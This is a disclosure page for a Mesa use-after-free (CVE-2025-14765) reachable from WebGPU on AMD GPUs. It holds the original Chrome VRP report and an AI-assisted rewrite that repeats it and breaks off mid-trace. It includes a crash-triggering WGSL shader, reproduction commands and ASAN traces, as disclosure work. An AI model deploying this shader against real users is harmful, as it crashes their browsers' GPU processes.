Skip to content
Memory corruption Advisory Advanced CVE-2025-14765

Use after free in WebGPU (CVE-2025-14765)

A heap-use-after-free occurs in the Mesa shader compiler when processing a WebGPU shader that uses subgroup operations, leading to a crash in the AMD-specific ACO optimiser. An attacker could trigger this crash by supplying a crafted shader, potentially causing a denial of service in the GPU process.

Anonymous Follow

Originally disclosed on Chrome VRP

Bounty$10,000 High View original
  • Fix shipped in 3 months

VULNERABILITY DETAILS

This report is about a heap-use-after-free in the Mesa shader compiler, reachable via WebGPU shaders emitted by dawn/tint. The offending shader looks as follows:

enable subgroups;

@group(0) @binding(0) 
var<storage, read_write> g: f32;

@fragment
fn frag_main() -> @location(0) vec4<f32> {
    g = tanh(subgroupMin(-g));
    return vec4<f32>();
}

The standalone reproducer crashs in the vendor-specific file amd/compiler/aco_optimizer.cpp + I never found a similar-looking crash on Intel devices so its probably only affecting AMD.

VERSION

Chrome Version: Version 141.0.7353.0 (Developer Build) (64-bit) (ASAN build)
Operating System: Ubuntu 25.04
Mesa: mesa-25.2.3 commit 62f9be9

REPRODUCTION

There are two means of reproduction, standalone and via Chrome. The instructions below use an ASAN build of Chrome and an ASAN build of Mesa. Precise build instructions for Mesa depend on the distro, a complete example for Ubuntu is part of the Dockerfile file of the standalone reproducer.

Standalone

  1. Place the Dockerfile and the .gfxr in a new directory
  2. Inside this directory: docker build -t mesarepo .
  3. Once built, switch into the container: docker run -it mesarepo /bin/bash
  4. Inside the container, run: LD_PRELOAD="/usr/lib/llvm-20/lib/clang/20/lib/linux/libclang_rt.asan-x86_64.so /mesa/buildASAN/src/amd/drm-shim/libamdgpu_noop_drm_shim.so" VK_DRIVER_FILES=/mesa/buildASAN/src/amd/vulkan/radeon_icd.x86_64.json /gfxreconstruct/build/tools/replay/gfxrecon-replay /gfxrecon.gfxr

This should produce the following ASAN report:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==18==ERROR: AddressSanitizer: SEGV on unknown address 0x6f731bde2ba0 (pc 0x6ef31762a73b bp 0x7ffc932e4a90 sp 0x7ffc932e4940 T0)
==18==The signal is caused by a READ memory access.
    #0 0x6ef31762a73b in aco::(anonymous namespace)::combine_instruction(aco::(anonymous namespace)::opt_ctx&, std::unique_ptr<aco::Instruction, aco::instr_deleter_functor>&) /mesa/buildASAN/../src/amd/compiler/aco_optimizer.cpp:3800:46
    #1 0x6ef3176091ca in aco::optimize(aco::Program*) /mesa/buildASAN/../src/amd/compiler/aco_optimizer.cpp:5086:10
    #2 0x6ef3174cc63c in (anonymous namespace)::aco_postprocess_shader[abi:cxx11](aco_compiler_options const*, std::unique_ptr<aco::Program, std::default_delete<aco::Program>>&) /mesa/buildASAN/../src/amd/compiler/aco_interface.cpp:89:10
    #3 0x6ef3174cbc32 in aco_compile_shader /mesa/buildASAN/../src/amd/compiler/aco_interface.cpp:245:26
    #4 0x6ef316a88131 in shader_compile /mesa/buildASAN/../src/amd/vulkan/radv_shader.c:3120:7
    #5 0x6ef316a88131 in radv_shader_nir_to_asm /mesa/buildASAN/../src/amd/vulkan/radv_shader.c:3151:7
    #6 0x6ef316a2df53 in radv_graphics_shaders_nir_to_asm /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:2380:21
    #7 0x6ef316a2df53 in radv_graphics_shaders_compile /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:2808:4
    #8 0x6ef316a3f8a9 in radv_graphics_pipeline_compile /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:3057:4
    #9 0x6ef316a35f03 in radv_graphics_pipeline_init /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:3453:13
    #10 0x6ef316a35f03 in radv_graphics_pipeline_create /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:3514:13
    #11 0x6ef316a35f03 in radv_CreateGraphicsPipelines /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:3669:14
    #12 0x56db1d817769 in gfxrecon::decode::VulkanReplayConsumerBase::OverrideCreateGraphicsPipelines(VkResult (*)(VkDevice_T*, VkPipelineCache_T*, unsigned int, VkGraphicsPipelineCreateInfo const*, VkAllocationCallbacks const*, VkPipeline_T**), VkResult, gfxrecon::decode::VulkanDeviceInfo const*, gfxrecon::decode::VulkanPipelineCacheInfo const*, unsigned int, gfxrecon::decode::StructPointerDecoder<gfxrecon::decode::Decoded_VkGraphicsPipelineCreateInfo> const*, gfxrecon::decode::StructPointerDecoder<gfxrecon::decode::Decoded_VkAllocationCallbacks> const*, gfxrecon::decode::HandlePointerDecoder<VkPipeline_T*>*) /gfxreconstruct/framework/decode/vulkan_replay_consumer_base.cpp:11229:34
    #13 0x56db1de1d702 in gfxrecon::decode::VulkanReplayConsumer::Process_vkCreateGraphicsPipelines(gfxrecon::decode::ApiCallInfo const&, VkResult, unsigned long, unsigned long, unsigned int, gfxrecon::decode::StructPointerDecoder<gfxrecon::decode::Decoded_VkGraphicsPipelineCreateInfo>*, gfxrecon::decode::StructPointerDecoder<gfxrecon::decode::Decoded_VkAllocationCallbacks>*, gfxrecon::decode::HandlePointerDecoder<VkPipeline_T*>*) /gfxreconstruct/framework/generated/generated_vulkan_replay_consumer.cpp:995:61
    #14 0x56db1dceb1df in gfxrecon::decode::VulkanDecoder::Decode_vkCreateGraphicsPipelines(gfxrecon::decode::ApiCallInfo const&, unsigned char const*, unsigned long) /gfxreconstruct/framework/generated/generated_vulkan_decoder.cpp:1375:52
    #15 0x56db1dd3f6e6 in gfxrecon::decode::VulkanDecoder::DecodeFunctionCall(gfxrecon::format::ApiCallId, gfxrecon::decode::ApiCallInfo const&, unsigned char const*, unsigned long) /gfxreconstruct/framework/generated/generated_vulkan_decoder.cpp:14766:41
    #16 0x56db1d6709d4 in gfxrecon::decode::FileProcessor::ProcessFunctionCall(gfxrecon::format::BlockHeader const&, gfxrecon::format::ApiCallId, bool&) /gfxreconstruct/framework/decode/file_processor.cpp:689:48
    #17 0x56db1d66f6b7 in gfxrecon::decode::FileProcessor::ProcessBlocks() /gfxreconstruct/framework/decode/file_processor.cpp:307:64
    #18 0x56db1d66ef2a in gfxrecon::decode::FileProcessor::ProcessBlocksOneFrame() /gfxreconstruct/framework/decode/file_processor.cpp:122:25
    #19 0x56db1d66edc6 in gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()::operator()() const /gfxreconstruct/framework/decode/file_processor.cpp:112:73
    #20 0x56db1d67923d in bool std::__invoke_impl<bool, gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&>(std::__invoke_other, gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&) /usr/include/c++/14/bits/invoke.h:61:36
    #21 0x56db1d679133 in std::enable_if<is_invocable_r_v<bool, gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&>, bool>::type std::__invoke_r<bool, gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&>(gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&) /usr/include/c++/14/bits/invoke.h:114:35
    #22 0x56db1d679006 in std::_Function_handler<bool (), gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()>::_M_invoke(std::_Any_data const&) /usr/include/c++/14/bits/std_function.h:290:30
    #23 0x56db1d67a8db in std::function<bool ()>::operator()() const /usr/include/c++/14/bits/std_function.h:591:9
    #24 0x56db1d66ef76 in gfxrecon::decode::FileProcessor::DoProcessNextFrame(std::function<bool ()> const&) /gfxreconstruct/framework/decode/file_processor.cpp:132:34
    #25 0x56db1d66ee17 in gfxrecon::decode::FileProcessor::ProcessNextFrame() /gfxreconstruct/framework/decode/file_processor.cpp:113:30
    #26 0x56db1d59ae82 in gfxrecon::application::Application::PlaySingleFrame() /gfxreconstruct/framework/application/application.cpp:207:52
    #27 0x56db1d59acee in gfxrecon::application::Application::Run() /gfxreconstruct/framework/application/application.cpp:168:28
    #28 0x56db1d4ee8fd in main /gfxreconstruct/tools/replay/desktop_main.cpp:324:29
    #29 0x72f31bcfa337  (/lib/x86_64-linux-gnu/libc.so.6+0x2a337) (BuildId: 467f544f15035abef911999cbc14489edd0555ab)
    #30 0x72f31bcfa3fa in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a3fa) (BuildId: 467f544f15035abef911999cbc14489edd0555ab)
    #31 0x56db1d4d6aa4 in _start (/gfxreconstruct/build/tools/replay/gfxrecon-replay+0xccaa4) (BuildId: 46d2949d464fa1eacdc6c00f89eb8e9661551eba)

==18==Register values:
rax = 0x000070831ae1d6a8  rbx = 0x00007ffc932e4940  rcx = 0x00006f731bde2ba0  rdx = 0x0000000000000000  
rdi = 0x000072031ae30d50  rsi = 0x000070131ade1d50  rbp = 0x00007ffc932e4a90  rsp = 0x00007ffc932e4940  
 r8 = 0x00007ffc932e4ce0   r9 = 0x00000e02635bc3aa  r10 = 0x000070831ae1d480  r11 = 0x00006f731ade2ba0  
r12 = 0x00000e40635c61a7  r13 = 0x0000000021000017  r14 = 0x000072031ae30d38  r15 = 0x000072031ae30d2c  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /mesa/buildASAN/../src/amd/compiler/aco_optimizer.cpp:3800:46 in aco::(anonymous namespace)::combine_instruction(aco::(anonymous namespace)::opt_ctx&, std::unique_ptr<aco::Instruction, aco::instr_deleter_functor>&)
==18==ABORTING

Chrome

Reproducing the issue requires an AMD GPU with the subgroups feature, I've been using a RX 7600. Opening the attached html file should trigger a crash in the Chrome GPU process. Start chrome and run it with the ASAN version of mesa (adapt paths as needed): ASAN_OPTIONS=external_symbolizer_path=/usr/lib/llvm-20/bin/llvm-symbolizer VK_DRIVER_FILES=/path/to/src/amd/vulkan/radeon_icd.x86_64.json ./chrome --user-data-dir=/tmp/deleteme --use-angle=vulkan --enable-features=Vulkan --disable-gpu-watchdog --no-sandbox --enable-unsafe-webgpu and open the attached html:

ASAN_OPTIONS=external_symbolizer_path=/usr/lib/llvm-20/bin/llvm-symbolizer VK_DRIVER_FILES=/home/user/mesa/radeon_icd.x86_64.json ./chrome --user-data-dir=/tmp/deleteme --use-angle=vulkan --enable-features=Vulkan --disable-gpu-watchdog --no-sandbox --enable-unsafe-webgpu
[10519:10519:0929/172016.461885:ERROR:ui/ozone/platform/wayland/gpu/wayland_surface_factory.cc:250] '--ozone-platform=wayland' is not compatible with Vulkan. Consider switching to '--ozone-platform=x11' or disabling Vulkan
Received signal 11 SEGV_ACCERR 78baa6b691a0
#0 0x5d12bd92b8a6 (/home/user/Downloads/linux-1499953/chrome+0xff578a5)
#1 0x5d12d3920e48 (/home/user/Downloads/linux-1499953/chrome+0x25f4ce47)
#2 0x5d12d38e1317 (/home/user/Downloads/linux-1499953/chrome+0x25f0d316)
#3 0x5d12d3920272 (/home/user/Downloads/linux-1499953/chrome+0x25f4c271)
#4 0x7c3aa74458d0 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x458cf)
#5 0x783a86467b72 <unknown>
#6 0x783a8645e2fb <unknown>
#7 0x783a863f5987 <unknown>
#8 0x783a863f5499 <unknown>
#9 0x783a8614be78 <unknown>
#10 0x783a8613079f <unknown>
#11 0x783a861355c5 <unknown>
#12 0x783a86132e23 <unknown>
#13 0x5d12c07a4027 (/home/user/Downloads/linux-1499953/chrome+0x12dd0026)
#14 0x5d12c05093a8 (/home/user/Downloads/linux-1499953/chrome+0x12b353a7)
#15 0x5d12c03d8fea (/home/user/Downloads/linux-1499953/chrome+0x12a04fe9)
#16 0x5d12c03d8a55 (/home/user/Downloads/linux-1499953/chrome+0x12a04a54)
#17 0x5d12dd0b76f0 (/home/user/Downloads/linux-1499953/chrome+0x2f6e36ef)
#18 0x5d12dd0aa26d (/home/user/Downloads/linux-1499953/chrome+0x2f6d626c)
#19 0x5d12dd0b1304 (/home/user/Downloads/linux-1499953/chrome+0x2f6dd303)
#20 0x5d12dd06bd11 (/home/user/Downloads/linux-1499953/chrome+0x2f697d10)
#21 0x5d12dd06c1a4 (/home/user/Downloads/linux-1499953/chrome+0x2f6981a3)
#22 0x5d12dd060202 (/home/user/Downloads/linux-1499953/chrome+0x2f68c201)
#23 0x5d12c786d868 (/home/user/Downloads/linux-1499953/chrome+0x19e99867)
#24 0x5d12dc89d7f8 (/home/user/Downloads/linux-1499953/chrome+0x2eec97f7)
#25 0x5d12dc89ca44 (/home/user/Downloads/linux-1499953/chrome+0x2eec8a43)
#26 0x5d12dc8bed3e (/home/user/Downloads/linux-1499953/chrome+0x2eeead3d)
#27 0x5d12dc8cc8f8 (/home/user/Downloads/linux-1499953/chrome+0x2eef88f7)
#28 0x5d12dc8cc6e0 (/home/user/Downloads/linux-1499953/chrome+0x2eef86df)
#29 0x5d12c78af736 (/home/user/Downloads/linux-1499953/chrome+0x19edb735)
#30 0x5d12c78829cd (/home/user/Downloads/linux-1499953/chrome+0x19eae9cc)
#31 0x5d12c788062d (/home/user/Downloads/linux-1499953/chrome+0x19eac62c)
#32 0x5d12c7886d04 (/home/user/Downloads/linux-1499953/chrome+0x19eb2d03)
#33 0x5d12d37700a7 (/home/user/Downloads/linux-1499953/chrome+0x25d9c0a6)
#34 0x5d12d37e2d68 (/home/user/Downloads/linux-1499953/chrome+0x25e0ed67)
#35 0x5d12d37e1c4d (/home/user/Downloads/linux-1499953/chrome+0x25e0dc4c)
#36 0x5d12d37e385b (/home/user/Downloads/linux-1499953/chrome+0x25e0f85a)
#37 0x5d12d3635cd7 (/home/user/Downloads/linux-1499953/chrome+0x25c61cd6)
#38 0x5d12d37e4425 (/home/user/Downloads/linux-1499953/chrome+0x25e10424)
#39 0x5d12d36eeea0 (/home/user/Downloads/linux-1499953/chrome+0x25d1ae9f)
#40 0x5d12de76d57b (/home/user/Downloads/linux-1499953/chrome+0x30d9957a)
#41 0x5d12cfca75c1 (/home/user/Downloads/linux-1499953/chrome+0x222d35c0)
#42 0x5d12cfca864e (/home/user/Downloads/linux-1499953/chrome+0x222d464d)
#43 0x5d12cfcaafb4 (/home/user/Downloads/linux-1499953/chrome+0x222d6fb3)
#44 0x5d12cfca52df (/home/user/Downloads/linux-1499953/chrome+0x222d12de)
#45 0x5d12cfca580c (/home/user/Downloads/linux-1499953/chrome+0x222d180b)
#46 0x5d12bd9c0278 (/home/user/Downloads/linux-1499953/chrome+0xffec277)
#47 0x7c3aa742a578 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a577)
#48 0x7c3aa742a63b (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a63a)
#49 0x5d12bd8e402a (/home/user/Downloads/linux-1499953/chrome+0xff10029)
  r8: 0000795aa5c3f2c8  r9: 00007ffe4fd509d0 r10: 0000000000000000 r11: 000000000000020f
 r12: 00007b4aae298cf0 r13: 0000000021000017 r14: 000078baa5b691a0 r15: 0000000000000045
  di: 00007ffe4fd509d0  si: 0000000000800000  bp: 000079caa5eaef80  bx: 000079caa5eaef80
  dx: 00007ffe4fd50a30  ax: 0000000000000018  cx: 0000000000000045  sp: 00007ffe4fd508a0
  ip: 0000783a86467b72 efl: 0000000000010206 cgf: 002b000000000033 erf: 0000000000000004
 trp: 000000000000000e msk: 0000000000000000 cr2: 000078baa6b691a0
[end of stack trace]

The original report as published on the Chromium issue tracker, by Anonymous. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

This report describes a heap-use-after-free in the Mesa shader compiler, reachable through WebGPU shaders emitted by dawn/tint. The crash occurs in the AMD-specific compiler path, in amd/compiler/aco_optimizer.cpp, while the shader is being compiled for a Vulkan graphics pipeline. The researcher notes that they never found a similar-looking crash on Intel devices, so the issue is probably limited to AMD hardware.

The offending shader uses the subgroups language extension and combines a subgroup reduction (subgroupMin) with a transcendental function (tanh) applied to a storage buffer value:

enable subgroups;

@group(0) @binding(0)
var<storage, read_write> g: f32;

@fragment
fn frag_main() -> @location(0) vec4<f32> {
    g = tanh(subgroupMin(-g));
    return vec4<f32>();
}

Setup

The researcher reproduced the issue with the following environment:

Component Version
Chrome 141.0.7353.0 (Developer Build) (64-bit) (ASAN build)
Operating system Ubuntu 25.04
Mesa mesa-25.2.3 commit 62f9be9

Two reproduction paths are provided: a standalone reproducer that replays a captured GFXReconstruct trace against an ASAN build of Mesa, and a Chrome-based reproducer that loads an HTML file and triggers the crash in the GPU process. Both require an ASAN build of Mesa; the Chrome path additionally requires an AMD GPU that supports the subgroups feature. The researcher used an RX 7600.

Precise Mesa build instructions depend on the distribution. A complete example for Ubuntu is included in the Dockerfile that ships with the standalone reproducer.

Finding it

The researcher identified a heap-use-after-free in the Mesa shader compiler that is reachable from WebGPU shaders emitted by dawn/tint. The standalone reproducer crashes in the vendor-specific file amd/compiler/aco_optimizer.cpp. The researcher did not find a similar-looking crash on Intel devices, which suggests the bug is AMD-specific.

Exploitation

Step 1: Build the standalone reproducer image

Place the Dockerfile and the .gfxr trace in a new directory, then build the image:

Bash
docker build -t mesarepo .

Step 2: Enter the container

Bash
docker run -it mesarepo /bin/bash

Step 3: Replay the trace under ASAN

Inside the container, run the replay tool with the ASAN runtime and the AMD no-op DRM shim preloaded, and point the Vulkan loader at the ASAN-built RADV ICD:

Bash
LD_PRELOAD="/usr/lib/llvm-20/lib/clang/20/lib/linux/libclang_rt.asan-x86_64.so /mesa/buildASAN/src/amd/drm-shim/libamdgpu_noop_drm_shim.so" VK_DRIVER_FILES=/mesa/buildASAN/src/amd/vulkan/radeon_icd.x86_64.json /gfxreconstruct/build/tools/replay/gfxrecon-replay /gfxrecon.gfxr

The LD_PRELOAD line loads the AddressSanitizer runtime together with the AMDGPU no-op DRM shim. VK_DRIVER_FILES selects the ASAN-instrumented RADV driver, and gfxrecon-replay replays the captured trace.

This produces the following ASAN report:

Text
AddressSanitizer:DEADLYSIGNAL
=================================================================
==18==ERROR: AddressSanitizer: SEGV on unknown address 0x6f731bde2ba0 (pc 0x6ef31762a73b bp 0x7ffc932e4a90 sp 0x7ffc932e4940 T0)
==18==The signal is caused by a READ memory access.
    #0 0x6ef31762a73b in aco::(anonymous namespace)::combine_instruction(aco::(anonymous namespace)::opt_ctx&, std::unique_ptr<aco::Instruction, aco::instr_deleter_functor>&) /mesa/buildASAN/../src/amd/compiler/aco_optimizer.cpp:3800:46
    #1 0x6ef3176091ca in aco::optimize(aco::Program*) /mesa/buildASAN/../src/amd/compiler/aco_optimizer.cpp:5086:10
    #2 0x6ef3174cc63c in (anonymous namespace)::aco_postprocess_shader[abi:cxx11](aco_compiler_options const*, std::unique_ptr<aco::Program, std::default_delete<aco::Program>>&) /mesa/buildASAN/../src/amd/compiler/aco_interface.cpp:89:10
    #3 0x6ef3174cbc32 in aco_compile_shader /mesa/buildASAN/../src/amd/compiler/aco_interface.cpp:245:26
    #4 0x6ef316a88131 in shader_compile /mesa/buildASAN/../src/amd/vulkan/radv_shader.c:3120:7
    #5 0x6ef316a88131 in radv_shader_nir_to_asm /mesa/buildASAN/../src/amd/vulkan/radv_shader.c:3151:7
    #6 0x6ef316a2df53 in radv_graphics_shaders_nir_to_asm /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:2380:21
    #7 0x6ef316a2df53 in radv_graphics_shaders_compile /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:2808:4
    #8 0x6ef316a3f8a9 in radv_graphics_pipeline_compile /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:3057:4
    #9 0x6ef316a35f03 in radv_graphics_pipeline_init /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:3453:13
    #10 0x6ef316a35f03 in radv_graphics_pipeline_create /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:3514:13
    #11 0x6ef316a35f03 in radv_CreateGraphicsPipelines /mesa/buildASAN/../src/amd/vulkan/radv_pipeline_graphics.c:3669:14
    #12 0x56db1d817769 in gfxrecon::decode::VulkanReplayConsumerBase::OverrideCreateGraphicsPipelines(VkResult (*)(VkDevice_T*, VkPipelineCache_T*, unsigned int, VkGraphicsPipelineCreateInfo const*, VkAllocationCallbacks const*, VkPipeline_T**), VkResult, gfxrecon::decode::VulkanDeviceInfo const*, gfxrecon::decode::VulkanPipelineCacheInfo const*, unsigned int, gfxrecon::decode::StructPointerDecoder<gfxrecon::decode::Decoded_VkGraphicsPipelineCreateInfo> const*, gfxrecon::decode::StructPointerDecoder<gfxrecon::decode::Decoded_VkAllocationCallbacks> const*, gfxrecon::decode::HandlePointerDecoder<VkPipeline_T*>*) /gfxreconstruct/framework/decode/vulkan_replay_consumer_base.cpp:11229:34
    #13 0x56db1de1d702 in gfxrecon::decode::VulkanReplayConsumer::Process_vkCreateGraphicsPipelines(gfxrecon::decode::ApiCallInfo const&, VkResult, unsigned long, unsigned long, unsigned int, gfxrecon::decode::StructPointerDecoder<gfxrecon::decode::Decoded_VkGraphicsPipelineCreateInfo>*, gfxrecon::decode::StructPointerDecoder<gfxrecon::decode::Decoded_VkAllocationCallbacks>*, gfxrecon::decode::HandlePointerDecoder<VkPipeline_T*>*) /gfxreconstruct/framework/generated/generated_vulkan_replay_consumer.cpp:995:61
    #14 0x56db1dceb1df in gfxrecon::decode::VulkanDecoder::Decode_vkCreateGraphicsPipelines(gfxrecon::decode::ApiCallInfo const&, unsigned char const*, unsigned long) /gfxreconstruct/framework/generated/generated_vulkan_decoder.cpp:1375:52
    #15 0x56db1dd3f6e6 in gfxrecon::decode::VulkanDecoder::DecodeFunctionCall(gfxrecon::format::ApiCallId, gfxrecon::decode::ApiCallInfo const&, unsigned char const*, unsigned long) /gfxreconstruct/framework/generated/generated_vulkan_decoder.cpp:14766:41
    #16 0x56db1d6709d4 in gfxrecon::decode::FileProcessor::ProcessFunctionCall(gfxrecon::format::BlockHeader const&, gfxrecon::format::ApiCallId, bool&) /gfxreconstruct/framework/decode/file_processor.cpp:689:48
    #17 0x56db1d66f6b7 in gfxrecon::decode::FileProcessor::ProcessBlocks() /gfxreconstruct/framework/decode/file_processor.cpp:307:64
    #18 0x56db1d66ef2a in gfxrecon::decode::FileProcessor::ProcessBlocksOneFrame() /gfxreconstruct/framework/decode/file_processor.cpp:122:25
    #19 0x56db1d66edc6 in gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()::operator()() const /gfxreconstruct/framework/decode/file_processor.cpp:112:73
    #20 0x56db1d67923d in bool std::__invoke_impl<bool, gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&>(std::__invoke_other, gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&) /usr/include/c++/14/bits/invoke.h:61:36
    #21 0x56db1d679133 in std::enable_if<is_invocable_r_v<bool, gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&>, bool>::type std::__invoke_r<bool, gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&>(gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()&) /usr/include/c++/14/bits/invoke.h:114:35
    #22 0x56db1d679006 in std::_Function_handler<bool (), gfxrecon::decode::FileProcessor::ProcessNextFrame()::'lambda'()>::_M_invoke(std::_Any_data const&) /usr/include/c++/14/bits/std_function.h:290:30
    #23 0x56db1d67a8db in std::function<bool ()>::operator()() const /usr/include/c++/14/bits/std_function.h:591:9
    #24 0x56db1d66ef76 in gfxrecon::decode::FileProcessor::DoProcessNextFrame(std::function<bool ()> const&) /gfxreconstruct/framework/decode/file_processor.cpp:132:34
    #25 0x56db1d66ee17 in gfxrecon::decode::FileProcessor::ProcessNextFrame() /gfxreconstruct/framework/decode/file_processor.cpp:113:30
    #26 0x56db1d59ae82 in gfxrecon::application::Application::PlaySingleFrame() /gfxreconstruct/framework/application/application.cpp:207:52
    #27 0x56db1d59acee in gfxrecon::application::Application::Run() /gfxreconstruct/framework/application/application.cpp:168:28
    #28 0x56db1d4ee8fd in main /gfxreconstruct/tools/replay/desktop_main.cpp:324:29
    #29 0x72f31bcfa337  (/lib/x86_64-linux-gnu/libc.so.6+0x2a337) (BuildId: [redacted])
    #30 0x72f31bcfa3fa in __libc_start_main (/lib/x86

The top frame is aco::(anonymous namespace)::combine_instruction at aco_optimizer.cpp:3800:46, called from aco::optimize at line 5086. The call chain below that runs through aco_postprocess_shader, aco_compile_shader, shader_compile, radv_shader_nir_to_asm, the RADV graphics pipeline compile functions, and finally radv_CreateGraphicsPipelines, which is invoked by the GFXReconstruct replay consumer. The fault is a read from an address that ASAN reports as an unknown address, and the summary confirms the SEGV in combine_instruction.

Step 4: Reproduce through Chrome

The Chrome path requires an AMD GPU with the subgroups feature; the researcher used an RX 7600. Opening the attached HTML file should trigger a crash in the Chrome GPU process. Start Chrome with the ASAN build of Mesa, adapting paths as needed:

Bash
ASAN_OPTIONS=external_symbolizer_path=/usr/lib/llvm-20/bin/llvm-symbolizer VK_DRIVER_FILES=/path/to/src/amd/vulkan/radeon_icd.x86_64.json ./chrome --user-data-dir=/tmp/deleteme --use-angle=vulkan --enable-features=Vulkan --disable-gpu-watchdog --no-sandbox --enable-unsafe-webgpu

ASAN_OPTIONS points ASAN at llvm-symbolizer so the crash report can be symbolised. VK_DRIVER_FILES selects the ASAN-built RADV ICD. The Chrome flags select the Vulkan backend through ANGLE, enable the Vulkan feature, disable the GPU watchdog, disable the sandbox, and enable unsafe WebGPU.

The researcher's own run, with a concrete path, produced the following output:

Text
ASAN_OPTIONS=external_symbolizer_path=/usr/lib/llvm-20/bin/llvm-symbolizer VK_DRIVER_FILES=/home/user/mesa/radeon_icd.x86_64.json ./chrome --user-data-dir=/tmp/deleteme --use-angle=vulkan --enable-features=Vulkan --disable-gpu-watchdog --no-sandbox --enable-unsafe-webgpu
[10519:10519:0929/172016.461885:ERROR:ui/ozone/platform/wayland/gpu/wayland_surface_factory.cc:250] '--ozone-platform=wayland' is not compatible with Vulkan. Consider switching to '--ozone-platform=x11' or disabling Vulkan
Received signal 11 SEGV_ACCERR 78baa6b691a0
#0 0x5d12bd92b8a6 (/home/user/Downloads/linux-1499953/chrome+0xff578a5)
#1 0x5d12d3920e48 (/home/user/Downloads/linux-1499953/chrome+0x25f4ce47)
#2 0x5d12d38e1317 (/home/user/Downloads/linux-1499953/chrome+0x25f0d316)
#3 0x5d12d3920272 (/home/user/Downloads/linux-1499953/chrome+0x25f4c271)
#4 0x7c3aa74458d0 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x458cf)
#5 0x783a86467b72 <unknown>
#6 0x783a8645e2fb <unknown>
#7 0x783a863f5987 <unknown>
#8 0x783a863f5499 <unknown>
#9 0x783a8614be78 <unknown>
#10 0x783a8613079f <unknown>
#11 0x783a861355c5 <unknown>
#12 0x783a86132e23 <unknown>
#13 0x5d12c07a4027 (/home/user/Downloads/linux-1499953/chrome+0x12dd0026)
#14 0x5d12c05093a8 (/home/user/Downloads/linux-1499953/chrome+0x12b353a7)
#15 0x5d12c03d8fea (/home/user/Downloads/linux-1499953/chrome+0x12a04fe9)
#16 0x5d12c03d8a55 (/home/user/Downloads/linux-1499953/chrome+0x12a04a54)
#17 0x5d12dd0b76f0 (/home/user/Downloads/linux-1499953/chrome+0x2f6e36ef)
#18 0x5d12dd0aa26d (/home/user/Downloads/linux-1499953/chrome+0x2f6d626c)
#19 0x5d12dd0b1304 (/home/user/Downloads/linux-1499953/chrome+0x2f6dd303)
#20 0x5d12dd06bd11 (/home/user/Downloads/linux-1499953/chrome+0x2f697d10)
#21 0x5d12dd06c1a4 (/home/user/Downloads/linux-1499953/chrome+0x2f6981a3)
#22 0x5d12dd060202 (/home/user/Downloads/linux-1499953/chrome+0x2f68c201)
#23 0x5d12c786d868 (/home/user/Downloads/linux-1499953/chrome+0x19e99867)
#24 0x5d12dc89d7f8 (/home/user/Downloads/linux-1499953/chrome+0x2eec97f7)
#25 0x5d12dc89ca44 (/home/user/Downloads/linux-1499953/chrome+0x2eec8a43)
#26 0x5d12dc8bed3e (/home/user/Downloads/linux-1499953/chrome+0x2eeead3d)
#27 0x5d12dc8cc8f8 (/home/user/Downloads/linux-1499953/chrome+0x2eef88f7)
#28 0x5d12dc8cc6e0 (/home/user/Downloads/linux-1499953/chrome+0x2eef86df)
#29 0x5d12c78af736 (/home/user/Downloads/linux-1499953/chrome+0x19edb735)
#30 0x5d12c78829cd (/home/user/Downloads/linux-1499953/chrome+0x19eae9cc)
#31 0x5d12c788062d (/home/user/Downloads/linux-1499953/chrome+0x19eac62c)
#32 0x5d12c7886d04 (/home/user/Downloads/linux-1499953/chrome+0x19eb2d03)
#33 0x5d12d37700a7 (/home/user/Downloads/linux-1499953/chrome+0x25d9c0a6)
#34 0x5d12d37e2d68 (/home/user/Downloads/linux-1499953/chrome+0x25e0ed67)
#35 0x5d12d37e1c4d (/home/user/Downloads/linux-1499953/chrome+0x25e0dc4c)
#36 0x5d12d37e385b (/home/user/Downloads/linux-1499953/chrome+0x25e0f85a)
#37 0x5d12d3635cd7 (/home/user/Downloads/linux-1499953/chrome+0x25c61cd6)
#38 0x5d12d37e4425 (/home/user/Downloads/linux-1499953/chrome+0x25e10424)
#39 0x5d12d36eeea0 (/home/user/Downloads/linux-1499953/chrome+0x25d1ae9f)
#40 0x5d12de76d57b (/home/user/Downloads/linux-1499953/chrome+0x30d9957a)
#41 0x5d12cfca75c1 (/home/user/Downloads/linux-1499953/chrome+0x222d35c0)
#42 0x5d12cfca864e (/home/user/Downloads/linux-1499953/chrome+0x222d464d)
#43 0x5d12cfcaafb4 (/home/user/Downloads/linux-1499953/chrome+0x222d6fb3)
#44 0x5d12cfca52df (/home/user/Downloads/linux-1499953/chrome+0x222d12de)
